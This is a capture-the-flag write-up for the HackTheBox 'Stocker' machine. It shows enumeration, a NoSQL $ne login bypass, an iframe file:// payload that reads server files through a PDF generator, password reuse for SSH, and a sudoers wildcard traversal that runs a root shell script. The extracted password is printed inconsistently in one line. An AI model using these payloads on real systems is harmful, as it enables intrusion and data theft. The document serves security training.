Stocker is an easy-rated Linux box on HackTheBox. The attack path starts with subdomain enumeration
to discover a dev login portal backed by MongoDB. A NoSQL injection bypasses authentication, granting
access to a stock purchasing app that generates dynamic PDFs. Injecting XSS into item names turns
the PDF renderer into a local file reader. Credentials found in the application source enable SSH
access, and a permissive sudoers wildcard
on node leads to root via path traversal.
Starting with Nmap to fingerprint open services:
$ nmap -sCV -T4 stocker.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
| ssh-hostkey:
| 3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
| 256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_ 256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!
→ SSH on 22, nginx on 80 serving an Eleventy static site.
Browsing to the IP redirects to stocker.htb.
The landing page is static with no interesting functionality. Time to hunt for subdomains.
Using ffuf to brute-force virtual hosts:
$ ffuf -u http://stocker.htb/ \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-H "Host: FUZZ.stocker.htb" -fw 6
[Status: 302, Size: 28, Words: 4, Lines: 1]
* FUZZ: dev
→ dev.stocker.htb found — returns a 302 redirect.
After adding dev.stocker.htb to
/etc/hosts, the subdomain presents
a login form. The 302 redirect suggests a session-based Node.js/Express app.
Standard SQL injection payloads fail. Since the backend is Node.js with nginx, MongoDB is a
likely data store. Switching the Content-Type
to application/json and sending a
NoSQL $ne operator bypasses authentication:
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Type: application/json
{
"username": { "$ne": "admin" },
"password": { "$ne": "pass" }
}
→ 302 redirect to /stock — we're in.
The $ne (not equal) operator tells
MongoDB to match any document where username is not admin
and password is not pass — effectively
bypassing the check entirely.
After login, the app is a stock purchasing portal. Adding items to a basket and submitting an
order generates a PDF receipt. The item names are reflected in the PDF without sanitization.
Injecting an iframe into the title
field forces the PDF renderer to embed local file contents:
POST /api/order HTTP/1.1
Content-Type: application/json
Cookie: connect.sid=...
{
"basket": [
{
"_id": "...",
"title": "<iframe src=file:///etc/passwd width=800 height=800></iframe>",
"quantity": 1,
"price": 1
}
]
}
→ PDF is generated with /etc/passwd contents embedded in the iframe.
The PDF renderer (likely a headless browser) evaluates the HTML, including the
file:// protocol. The error page
earlier revealed the app runs from /var/www/dev/.
Reading /var/www/dev/index.js exposes
the MongoDB connection string with a cleartext password:
"title": "<iframe src=file:///var/www/dev/index.js width=800 height=800></iframe>"
# Extracted from the rendered PDF:
const dbURI = "mongodb://dev:IHeardPassworReus wordsAreBad@localhost/dev"
→ Password: IHeardPassworReusWordsAreBad
Checking /etc/passwd from the PDF
reveals the user angoose.
The MongoDB password is reused for SSH — a classic credential reuse scenario:
$ ssh angoose@stocker.htb
Password: IHeardPassworReusWordsAreBad
angoose@stocker:~$ cat user.txt
→ user flag captured. Checking sudo permissions reveals a wildcard in the script path:
$ sudo -l
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
→ Wildcard *.js — can we traverse out of /usr/local/scripts/?
The * glob in the sudoers entry
does not restrict path traversal. We can write a Node.js script that spawns a root shell and
reference it via ../:
# Create the exploit script in our home directory
angoose@stocker:~$ cat > /home/angoose/priv.js << 'EOF'
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
EOF
# Traverse out of /usr/local/scripts/ to reach our script
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/priv.js
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
→ root flag captured.
The sudoers wildcard *.js matches
any string including path separators like ../../../.
This allows executing arbitrary JavaScript files as root, even outside the intended directory.